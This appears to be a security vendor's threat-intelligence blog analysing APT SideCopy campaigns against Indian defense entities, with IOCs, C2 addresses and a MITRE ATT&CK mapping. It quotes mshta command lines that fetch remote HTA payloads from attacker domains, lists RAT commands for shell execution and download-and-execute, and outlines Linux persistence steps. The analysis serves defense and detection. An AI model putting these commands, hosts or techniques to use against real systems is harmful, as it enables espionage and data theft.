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6 Nov

Estimated reading time: 13 minutes

SEQRITE Labs APT-Team has discovered multiple campaigns of APT SideCopy, targeting Indian government and defense entities in the past few months. The threat group is now exploiting the recent WinRAR vulnerability CVE-2023-38831 (See our advisory for more details) to deploy AllaKore RAT, DRat and additional payloads. The compromised domains, used to host payloads by SideCopy, are reused multiple times, resolving to the same IP address. It has also deployed a Linux variant of open-source agent called Ares RAT, where code similarity with its parent threat group Transparent Tribe (APT36) has been found in the stager payload. Conducting multi-platform attacks simultaneously with the same decoys and naming convention, both SideCopy and APT36 share infrastructure and code to aggressively target India.

In this blog, we’ll delve into the technicalities of two such campaigns we encountered during our telemetry analysis. We have observed more similar ongoing campaigns unfold and expect them to continue as the Israel-Hamas conflict intensifies, where not only Pakistan-aligned hacktivists but also other groups against Israel are targeting Indian websites with DDoS, defacement, and data breach attacks.

Threat Actor Profile

SideCopy is a Pakistan-linked Advanced Persistent Threat group that has been targeting South Asian countries, primarily the Indian Defense and Afghanistan government entities, since at least 2019. Almost every month, a new attack campaign has been observed this year in our telemetry, with changes over time where additional stages with Double Action RAT, new .NET-based RAT, and TTPs where PowerShell remote execution has been uncovered by our team. Its arsenal includes Action RAT, AllaKore RAT, Reverse RAT, Margulas RAT and more.

This group is associated as a sub-division of Transparent Tribe (APT36), which has been persistently targeting the Indian Military and is continuing to target university students aggressively this year to share student data, possibly with terrorist groups for recruitment. It has updated its Linux malware arsenal this year with Poseidon and other utilities. Active since 2013, it has continuously used payloads such as Crimson RAT, Capra RAT, and Oblique RAT in its campaigns.

Pakistani agents have used honey traps to lure defense personnel, creating an immense impact and damage by stealing confidential intel in this form of cyber espionage.

Analysis of Campaign-1

The first campaign of SideCopy observed is spread via a phishing link that downloads an archive file named “Homosexuality – Indian Armed Forces.” The decoy document is related to NSRO and is called “ACR.pdf” or “ACR_ICR_ECR_Form_for_Endorsement_New_Policy.pdf.

Fig. 1 – Decoy PDF

Interestingly, we found the same decoy PDF is utilized by the Linux variant of Ares RAT, which was first seen in the last week of August on Virus Total. Both the compromised domains used resolved to the same IP address, as shown in the below figure. The domains used in April ‘ssynergy[.]in’ and May ‘elfinindia[.]com’ campaigns also point to the same IP. Moreover, the archive files hosted on different domains have the same name, indicating the reuse of compromised domains.

Fig. 2 – Infection chain-1 with the same IP

The phishing URL targeting the Windows platform points to sunfireglobal[.]in, a compromised domain that is not alive at the time of writing, is resolving to the IP: 162.241.85[.]104. URL is:


This contains a malicious shortcut file in a double extension format named “Homosexuality – Indian Armed Forces ․pdf.lnk” that triggers a remote HTA file as:

C:WindowsSystem32mshta.exe “hxxps://sunfireglobal[.]in/public/assests/files/db/acr/” && tar.exe

It contains two embedded files that are base64 encoded; one is the decoy PDF, and the other is a DLL. Only minor changes were observed in the HTA, and functionality remains the same – to check the .NET version, fetch the AV installed, decode, and run the DLL in-memory.

After the decoy file is opened by the DLL (preBotHta), it beacons to the same domain and downloads an HTA and the final DLL contents to their target paths. The downloaded HTA is saved as “seqrite.jpg” in the TEMP folder, later moved to the target folder, and executed. Depending on the AV present – SEQRITE, Quick Heal, Kaspersky, Avast, Avira, Bitdefender, and Windows Defender; it executes the final DLL payload.

Fig. 3 – DLL preBotHta run in-memory

Legitimate Windows apps like Credential wizard (credwiz.exe) or EFS REKEY wizard (rekeywiz.exe) are copied beside the target to sideload the DLL. Persistence is maintained via Startup (or) Run registry key to load the final RAT payload on system reboot. (Detailed analysis of Action RAT and all other payloads can be found in our previous whitepaper)

Another archive file with the same name, “Homosexuality – Indian Armed,” is seen that contains an ELF file. It is spread using a domain named “occoman[.]com,” resolving to the same IP address for the sunfireglobal[.].in, showing the sharing of IP between compromised domains.

Fig. 4 – Content of both the archives

Different file names for this Golang-based Linux malware that is masqueraded as a PDF were found as:

Homosexuality – Indian Armed Forces ․pdf 2023-10-24
Unit Training Program ․pdf 2023-09-20
Social Media Usage ․pptx 2023-08-30

Utilizing the GoReSym plugin with IDA, we can extract function metadata as the binary is stripped (See our in-depth analysis of Go-based Warp malware for plugin details).

The process flow is similar to the first stage seen in the case of the Poseidon agent (observed by Uptycs and Zscaler) having the exact target location, though this stage is not compiled using PyInstaller:

  1. Create a crontab to maintain persistence through system reboot under the current username.
  2. Download the decoy to the target directory “/.local/share” and open it.
  3. Download the Ares agent as “/.local/share/updates” and execute it.

Fig. 5 – Process flow of Stage-1

After extracting the contents of the final PyInstaller payload, two Python-compiled files of our interest (agent.pyc and config.pyc) are retrieved. Decompiling and examining them leads to an open-source Python RAT called Ares.  The URL format used to ping the server is: “hxxps://(host)/api/(uid)/hello.” and it includes the platform, hostname and username of the victim machine along with it. It supports the following 13 commands for C2 communication.

Command Description
upload Uploads a local file to the server
download Downloads a file via HTTP(s)
zip Creates a zip archive of a file or folder
cd Change the current directory
screenshot Takes a screenshot and uploads it to the server
python Runs a Python command or a Python file
persist Installs the agent via AutoStart directory
clean Uninstalls the agent
exit Kills the agent
crack Removes persistence and kills the agent
listall List file directory and upload it to the server
help Display the help
<command> Executes a shell command and returns its output

No major changes were observed in the agent apart from changing the name from ares to gedit, and the server used by the agent is present in the config file: 161.97.151[.]200:7015. Both the agent and config scripts include the name ‘lee’ pointing to the same agent as referred by Lumen.

Fig. 6 – Config file

Fig. 7 – Agent script

This payload is also named “bossupdate,” a similar naming convention seen with Poseidon and other utilities of Transparent Tribe that starts with the ‘boss’ prefix. APT36 is aiming for the operating system BOSS, developed in India for government entities, and is constantly expanding its Linux arsenal. Back in 2021, SideCopy was linked to the same RAT by QiAnXin’s Red Raindrop Team and a forked version called BackNet by Telsy later.

Analysis of Campaign-2

The second campaign has the same scenario where IP sharing is seen not only with the compromised domains but also with the C2 infrastructure. Exploitation of the recent WinRAR vulnerability CVE-2023-38831 is done via phishing, which downloads malicious archive files. Upon opening the archive files, a pdf file and a folder with the same name are present.

Fig. 8 – Archives used for WinRAR exploitation

Opening the PDF will trigger the vulnerability, quietly launching the payload inside the folder by ShellExecute function of the WinRAR application.  The decoy PDF is related to an organization called the ‘All India Association of Non-Gazetted Officers’ (AIANGOs), which mentions a peaceful protest program to the Indian Ministry of Defense. Headquartered in Mumbai, AIANGOs was recognized by GOI, MoD in 2000 under CCS(RSA) Rule 1993 and affiliated to CDRA, as mentioned on their X (Twitter) page.

Fig. 9 – Decoy used in WinRAR exploitation

The payload present in the folder is the AllaKore RAT agent, which has the functionality to steal system information, keylogging, take screenshots, upload & download files, and take the remote access of the victim machine to send commands and upload stolen data to the C2.  Additionally, more connections have been made with the C2 utilized and its previous campaign, as described below:

Fig. 10 – Infection chain-2 with IP sharing with domains and C2


  • A similar attack chain of SideCopy is observed with the lure document “DocScanner-Oct” referring to the Ministry of Defences’ Saudi Delegation. The same decoy was observed to be used by SideCopy & APT36 earlier in an April & May campaign, respectively.
  • The compromised domain in this chain, ‘rockwellroyalhomes[.]com’ is resolving to the same IP 103.76.213[.]95 used with the domain ‘isometricsindia[.],’ which was observed to be used by them in an August campaign utilizing the theme: “US vs. China trade war.”
  • The final payload DRat connects with the IP 38.242.149[.]89 for C2 communication used with AllaKore RAT.
  • A similar phishing URL is found on the same “rockwellroyalhomes” domain, named similarly “” This leads to another Ares RAT sample, connecting to C2 having IP 38.242.220[.]166:9012, where the decoy points to India’s Ministry of Defense again regarding the “Parliament Matter.

Fig. 8 – Decoy used with Ares RAT

The phishing URL is pointing to rockwellroyalhomes[.]com, a compromised domain that is resolving to the IP: 103.76.231[.]95


This contains a malicious shortcut file in a double extension format named “․pdf.lnk,” that triggers a remote HTA file as:

C:WindowsSystem32mshta.exe hxxps:// & mshta.exe

It contains embedded files that are base64 encoded; they are decoy PDF, DLL, and EXE. Similar checks for anti-virus present on the victim machine is done, opens the decoy and drops the final DRat payload, a new Remote Access Trojan named from the PDB path:

d:ProjectsC#D-RatDRat ClientTenureobjReleaseMSEclipse.pdb

The 13 commands supported have the following functionality:

Decoded Command Functionality
getInformitica Send system info – User & OS name, timestamp, Start-up path
sup Send a ‘supconfirm’ message to start receiving commands
close Send a ‘closure’ message to close the connection and exit
Kaamindina Check running status
del Delete specific directory (or) file and send confirmation
enterPath Enter a specific directory and send attributes for each file & sub-folder
backPath Send the current working directory
driveList Fetch disk info and DeviceID using:

  • ‘SELECT * FROM Win32_LogicalDisk WHERE DriveType = 3’
fdl Upload file attributes
fdIConfirm Upload file
fup Download file
fupexec Download and execute (1)
supexec Download and execute (2)

Fig. 8 – Reuse of decoy with DRat

Another campaign has been found with similar targeting of Windows and Linux platforms simultaneously. A new payload for Windows, named Key RAT, is deployed in this case along Ares RAT. IOCs for this third campaign have been included at the end.

C2 Infrastructure and Domains

All the C2 servers are registered in Germany to Contabo GmbH, commonly used by both the Pakistan-linked APTs.

38.242.149[.]89 AllaKore RAT and DRat
207.180.192[.]77 Key RAT
38.242.220[.]166 Ares RAT
161.97.151[.]220 Ares RAT

One server of Ares that is linked with multiple baits, is running pfsense firewall on port 9012 for C2 communication – 38.242.220[.]166.

Fig. 9 – Ares server details

Fig. 10 – pfsense login page of Ares server

All the compromised domains used by SideCopy this year, have GoDaddy as registrar with HostGator server name. Whois details are:

IP Domain Campaign Registrant

Org: Spectra Technologies

ISP: CtrlS

Delhi, India – AS18229

isometricsindia[.] August Ozanera Pvt. Ltd., Mumbai
rockwellroyalhomes[.]com October Tempe, Arizona, US

Org & ISP: Unified Layer

Provo, Utah, US – AS46606

sunfireglobal[.]in October West Bengal, India
occoman[.]com August Tempe, Arizona, US
elfinindia[.]com May Tempe, Arizona, US
ssynergy[.]in April West Bengal, India

We have seen the machine name ‘desktop-g4b6mh4’ associated with a huge number of shortcut files this year. It is not only observed in these campaigns, but new ones have been used by the threat actor:

  • desktop-87p7en5
  • desktop-ey8nc5b

Conclusion & Attribution

Expanding its arsenal with zero-day vulnerability, SideCopy consistently targets Indian defense organizations with various remote access trojans. Based on the attack chain, selection of target, baits used and infrastructure; these campaigns are attributed to SideCopy with high confidence. APT36 is expanding its Linux arsenal constantly, where sharing its Linux stagers with SideCopy is observed to deploy an open-source Python RAT called Ares. At the same time, we have observed telemetry hits for this campaign in multiple Indian cities, showing an uptick in activity amidst the Israel-Hamas conflict. Overall, both these and additional campaigns have connections to the sharing of code and infrastructure between these closely related threat groups.

SEQRITE Protection

LNK.Trojan.48283.GC SideCopy.Trojan.48284.GC JS.Trojan.47685
LNK.Dropper.47686.GC SideCopy.Trojan.48285.GC JS.Sidecopy.47539.GC
LNK.Sidecopy.47538.GC Trojan.SideCopy.S30112863 JS.Sidecopy.47540
ELF.Agent.48298.GC Trojan.SideCopy.S30112905 JS.SideCopy.42911
ELF.Agent.48286.GC Trojan.Sidecopy.S30112904 Trojan.SideCopy
Script.Trojan.47763 TrojanAPT.SideCopy.PB1

Precautions to be taken

It is necessary to stay protected from such critical cyber-attacks by taking the following precautions:

  • Avoid clicking on any unverified links from unknown sources.
  • Do not download and open any attachments, especially archive files.
  • Use endpoint protection to stay ahead in the ongoing threat landscape.
  • Regularly update your OS and software apps to fix known vulnerabilities.
  • Add password-protection to confidential documents and sensitive information.



8bee417262cf81bc45646da357541036 Homosexuality – Indian Armed
9e9f93304c8d77c9473de475545bbc23 Achievements_of_DMA.rar
9379ebf1a732bfb1f4f8915dbb82ca56 Agenda_Points_Ammended.rar
Shortcut (LNK)
75f9d86638c8634620f02370c28b8ebd DocScanner-Oct.pdf.lnk
fc5eae3562c9dbf215384ddaf0ce3b03 Homosexuality – Indian Armed Forces. pdf.lnk
a52d2a0edccdc0f533c7b04e88fe8092 agenda_points.docx.lnk



02c444c5c1ad25e6823457705e8820bc msfnt.hta
d6e214fd81e7afb57ea77b79f8ff1d45 p.hta
d0c80705be2bc778c7030aae1087f96e main.hta
31340EA400E6611486D5E57F0FAB5AF2 SummitOfBion.dll
FE0250AF25C625E24608D8594B716ECB preBotHta.dll
C872F21B06C4613954FFC0676C1092E3 WinGfx.dll
ff13b07eaabf984900e88657f5d193e6 Msfront.exe (DRat)
6f37dacf81af574f1c8a310c592df63f Achievements_of_DMA.pdf .exe (AllaKore RAT)
9f5354dcf6e6b5acd4213d9ff77ce07c steistem.exe / Onlyme.exe (Key RAT)
CCB6723C14EBB0A12395668377CF3F7A DocScanner-Oct.pdf
acec2107d4839fbb04defbe376ac4973 Achievements_of_DMA.pdf_
f759b6581367db35e3978125f4f6ff80 ACR.pdf
B6FBCAE7980D4E02CE9ED9876717F385 cache.bat
4f541ec8cd238737e4e77a55fbcbb4f3 d.txt
d:ProjectsC#D-RatDRat ClientTenureobjReleaseMSEclipse.pdb


04a65069054085cd81daabe4fc15ce76 Homosexuality – Indian Armed
9375e3c13c85990822d2f09a66b551d9 DocScanner_AUG_2023.pdf
42a696ef6f7acf0919fea9748029a966 Homosexuality – Indian Armed Forces ․pdf
54473E0D8CAFD950AFE32DE1A2F3A508 DocScanner_Updated_letter․pdf
36933B05B7E3060955E6A1FDFD7D8EC1 draft_letter_nov_2023․docx
508F4BFAD9F2482992AC7926910BD551 updated_draft_PPT․pptx
921915ecfe17593476648ad20cd61ecd Meeting_Notice-reg․pdf
5e32703e3704b2b5c299c242713b1ec5 DocScanner_AUG_2023.pdf
f759b6581367db35e3978125f4f6ff80 ACR.pdf
af3ec4f8a072779eb0cac18eaafc256d Meeting_Notice-reg.pdf
0799e17933b875e3a54f01416e7505d5 DocScanner_Updated_letter.pdf
b4854c420bc39c8c77a0fcd9395a8748 draft_letter_nov_2023.docx
4cd0ee8186dc4203aad0cba48a8e5778 updated_draft_PPT.pptx
Ares RAT
088b89698b122454666e542b1e1d92a4 bossupdate
b992b03b0942658a516439b56afbf41a updates
ebbc1c4fc617cda7a0b341b12f45d2ad updates

C2 and Domains

38.242.149[.]89:61101 AllaKore RAT
38.242.149[.]89:9828 DRat


Ares RAT
207.180.192[.]77:6023 Key RAT
162.241.85[.]104 sunfireglobal[.]in




103.76.213[.]95 rockwellroyalhomes[.]com







Tactic Technique ID Name
Resource Development T1583.001






Acquire Infrastructure: Domains

Compromise Infrastructure: Domains

Obtain Capabilities: Malware

Obtain Capabilities: Tool

Stage Capabilities: Upload Malware

Stage Capabilities: Link Target

Initial Access T1566.001


Phishing: Spear phishing Attachment

Phishing: Spear phishing Link

Execution T1106







Native API

Shared Modules

Command and Scripting Interpreter

Windows Management Instrumentation

Exploitation for Client Execution

User Execution: Malicious Link

User Execution: Malicious File

Persistence T1053.003



Scheduled Task/Job: Cron

Registry Run Keys / Startup Folder

Boot or Logon Autostart Execution: XDG Autostart Entries

Defense Evasion T1036.005







Masquerading: Match Legitimate Name or Location

Deobfuscate/Decode Files or Information

System Binary Proxy Execution: Mshta

Hijack Execution Flow: DLL Side-Loading

File and Directory Permissions Modification: Linux

Obfuscated Files or Information: Embedded Payloads

Obfuscated Files or Information: Command Obfuscation

Discovery T1012







Query Registry

System Owner/User Discovery

Process Discovery

System Information Discovery

File and Directory Discovery

System Network Configuration Discovery

Software Discovery: Security Software Discovery

Collection T1005






Data from Local System

Input Capture: Keylogging

Data Staged: Local Data Staging

Automated Collection

Screen Capture

Video Capture

Command and Control T1105




Ingress Tool Transfer

Non-Standard Port

Encrypted Channel

Application Layer Protocol: Web Protocols

Exfiltration T1041 Exfiltration Over C2 Channel

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